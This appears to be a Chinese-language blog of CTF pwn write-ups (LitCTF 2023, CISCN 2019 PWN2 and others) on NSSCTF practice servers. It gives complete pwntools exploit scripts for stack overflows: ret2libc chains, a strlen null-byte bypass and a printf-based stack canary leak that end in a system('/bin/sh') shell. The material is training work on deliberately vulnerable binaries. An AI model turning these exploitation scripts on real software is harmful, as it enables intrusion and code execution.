### LITctf：简单nc




nc下：

![image-20230515211242691](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305152112814.png)

发现有两个文件：

Dockerfile和app.py

cat Dockerfile：

![image-20230515211434815](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305152114873.png)

每一条指令的意思是：

```text
COPY . /app：将当前目录中的所有文件拷贝到 Docker 镜像中的 /app 目录下。

ENV FLAG=NSSCTF{123456}：设置一个名为 FLAG 的环境变量，并将其值设置为 NSSCTF{123456}。

RUN echo $FLAG > /flag.txt：在 Docker 镜像中运行一条命令，将环境变量 $FLAG 的值输出到 /flag.txt 文件中。

WORKDIR /app：将 Docker 镜像的工作目录设置为 /app。

EXPOSE 5000：告诉 Docker 容器监听在哪个端口。

CMD ["python", "app.py"]：指定容器启动时要执行的命令。在本示例中，容器启动后会执行 python app.py 命令，启动 Python 应用程序 app.py
```

所以只需要执行echo $FLAG:

![image-20230515211538489](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305152115536.png)

LITctf：简单nc

### [LitCTF 2023]狠狠的溢出涅~

惯例先检查：

![image-20230515211814841](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305152127530.png)

64位ida查看：

![image-20230515212200898](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305152128693.png)

直接通过ret2libc：

```python
from pwn import*

io = remote('node4.anna.nssctf.cn',28615)

libc = ELF('./libc-2.31.so')
elf = ELF('./pwn4')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
ret = 0x0400556
pop_rdi = 0x4007d3
payload = b'\x00'+b'a'*(0x67)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendafter(b':\n',payload)
io.recvuntil(b'Received\n')
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))

libc_base = puts_addr - libc.symbols['puts']
binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym['system']

payload = b'\x00'+b'a'*(0x67)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)+p64(main)

io.sendline(payload)

io.interactive()
```



[LitCTF-2023]狠狠的溢出涅

### 口算题卡

这题没有附件，先nc一下：

![image-20230515213040798](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305152201043.png)

大概意思就是只要做出来100道小学计算题就可以拿到flag:解决（不是）

当然不可能这么麻烦：

这里我也是第一次接触到python中eval函数，直接可以帮你计算输入的算式的值:

所以这里exp可以这样写：

```python
法一：
# from pwn import*
# context(log_level='debug')
# io =remote('node4.anna.nssctf.cn',28650)


# for num in range(1,101):
#     io.recvuntil(b'What is ')
#     data = eval(io.recvuntil(b'?').strip(b'?'))
#     print(data)
#     io.sendline(str(data))
#------------------------------------------------------------
法二：
from pwn import*
context(log_level='debug')
io =remote('node4.anna.nssctf.cn',28650)

while 1:
    io.recvuntil(b'What is ')
    data = eval(io.recvuntil(b'?').strip(b'?').decode())
    print(data)
    io.sendline(str(data))
```

`strip（）`作用是删除接收的字符两边的不想要的字符。

flag：

![image-20230515213509915](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305152138420.png)

这里注意如果找我这样写，必须要开启调试，不然看不到输出。

口算题卡

m

同样还是一道简单的栈溢出，不过这题难点就是如何绕过strlen防止构造的payload被更改。

检查：

![image-20230504224346684](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305042243794.png)

反编译：

![image-20230504224432364](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305042244429.png)

### 主函数

对于主函数的绕过就只需要输入个1就可以，这里我们的目的就是进入encrypt函数

### encrypt

![image-20230504224633759](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305042246822.png)

gets是漏洞点，但是下面有一段加密函数会对payload造成破坏，所以如果要成功栈溢出，就必须得绕过加密，这里因为strlen对\x00截断并且x是一个uint类型，最小是0，所以输入\x00就可以绕过加密。

```python
io.sendline(b'1')

io.recvuntil(b'encrypted\n')
payload = b'\x00'+b'a'*(0x57)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendline(payload)
```

绕后就是一如既往的ret2libc

完整exp：

```python
from pwn import*
from LibcSearcher import*

io = remote('node1.anna.nssctf.cn',28604)
elf = ELF('./ciscnpwn2')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x04009A0

pop_rdi = 0x0400c83
ret = 0x04006b9 
io.sendline(b'1')

io.recvuntil(b'encrypted\n')
payload = b'\x00'+b'a'*(0x57)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendline(payload)

io.recvline()
io.recvline()

puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')

io.recvuntil(b'encrypted\n')
payload = b'\x00'+b'a'*(0x57)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)+p64(main)

io.sendline(payload)

io.interactive()
```

flag：

![image-20230504225050973](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305042250032.png)

[CISCN 2019东北]PWN2

难绷，一题看了4个小时，各种莫名其妙的报错，一直EOFEOF，给我快整emo了，还是不算难的一题，累死了。



还是先看题：

![image-20230504212430957](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305042124180.png)

一如既往的64位动态链接文件，较之前难度提升的一点是开启了canary保护

> 这里解释下什么是canary保护：
>
> ​        在计算机系统中，栈是一种常见的内存结构，用于存储函数调用期间程序状态的信息，如本地变量、返回地址等。为了保护计算机系统的安全，许多现代操作系统都采用了一种叫做“堆栈保护”的技术，其中包括使用所谓的“canary”来检测缓冲区溢出漏洞。
>
> 在一些堆栈保护技术中，canary 被插入到函数的堆栈帧中，并被初始化为一个随机值。当函数返回时，canary 的一致性将被检查，以确保它未被篡改。如果 canary 值已经被篡改，那么说明缓冲区溢出攻击已经发生。
>
> 需要注意的是，canary 的实现方式和系统架构等因素有关，因此其具体实现可能存在差异。

所以这一题要是还想要栈溢出就必须得进行leek出canary来绕过。

所以来看源码：

![image-20230504212857898](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305042128960.png)

这题也很明显的给了你一个专门来泄露地址的`printf（）`，所以这里就需要利用printf泄露地址（因为printf遇到\x00截断，所以只需要在canary之前全部填充非‘0’垃圾数据就很自然地可以泄露出canary地址。

```python
io.recvuntil(b'overflow?\n')
io.send(b'a'*(0x48)+b's')
io.recvuntil(b's')
canary = u64(io.recv(7).rjust(8,b'\x00'))
```

因为canary是占位8字节，所以我们需要输入的垃圾数据为0x50-0x08，也就是0x48字节数据，**但是**：

> 对于大多数现代操作系统，canary 的最后一位通常会被固定为零（\x00），这是因为某些 CPU 架构要求堆栈的字节对齐（通常为 4 或 8 字节），因此必须将 canary 末尾的字节设置为零，以确保字节对齐。但在一些特殊情况下，canary 的固定位可能并不是零字节。

canary的最后一位通常是\x00并且是小端序所以必须得再输入一字节数据覆盖0x00防止printf被截断，同样因此接收也只能接收7字节然后人为添加上被覆盖的0x00，这样canary就被泄露出来了。

这里我试了一下：

![image-20230504220531486](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305042205659.png)

这里一个是`canary = u64(io.recv(7).rjust(8,b'\x00'))`

另一个是`canary2 = u64(io.recv(8))`

很明显看到除了第一字节不一样外其他都一样，这里就是因为后面一个被\x00截断了。

之后就是正常的ret2libc：

```python
payload = b'a'*(0x48)+p64(canary)+b'a'*(0x8)+p64(pop_rdi)+\
    p64(puts_got)+p64(puts_plt)+p64(main_addr)

io.sendlineafter(b'harder!',payload)
io.recvuntil(b'I hope you win\n')
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')

```

这我还要说一点：

这里我看了很久的原因就是我一开始用recvuntil接收会报错，很奇怪，不用就不会，但是这样puts-addr又有问题，写wp的时候我又试了一遍，结果可以了，估计是我wsl的原因（果不其然，wsl不太稳定），属实难绷。

这里如果不用recvuntil先接收数据或者不用sendlineafter传参都会报错，会导致puts_addr的地址出现问题。

很离谱。

然后就是：

```python
io.recvuntil(b'overflow?\n')
io.send(b'a'*(0x48)+b's')
io.recvuntil(b's')
#c = io.recv(8)
#canary = int(c.decode('utf-8'),16)
canary2 = u64(io.recv(8))
print(hex(canary2))

payload =  b'a'*(0x48)+p64(canary)+b'a'*(0x8)+p64(ret)+p64(pop_rdi)+\
    p64(binsh)+p64(system)

io.sendlineafter(b'harder!',payload)

io.interactive()
```

很常规的ret2libc

完整exp：

```python
from pwn import*
from LibcSearcher import*
io = remote('node4.anna.nssctf.cn',28499)

elf = ELF('./littleof')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x0000000000400789
pop_rdi = 0x400863
ret = 0x040059e

io.recvuntil(b'overflow?\n')
io.send(b'a'*(0x48)+b's')
io.recvuntil(b's')
#c = io.recv(8)
#canary = int(c.decode('utf-8'),16)
canary = u64(io.recv(7).rjust(8,b'\x00'))
print(hex(canary))

payload = b'a'*(0x48)+p64(canary)+b'a'*(0x8)+p64(pop_rdi)+\
    p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.recvuntil(b'harder!')
io.sendline(payload)
io.recvuntil(b'I hope you win\n')
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')

io.recvuntil(b'overflow?\n')
io.send(b'a'*(0x48)+b's')
io.recvuntil(b's')
#c = io.recv(8)
#canary = int(c.decode('utf-8'),16)
canary2 = u64(io.recv(8))
print(hex(canary2))

payload =  b'a'*(0x48)+p64(canary)+b'a'*(0x8)+p64(ret)+p64(pop_rdi)+\
    p64(binsh)+p64(system)

io.sendlineafter(b'harder!',payload)

io.interactive()
```

flag：

![image-20230504220910390](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305042209459.png)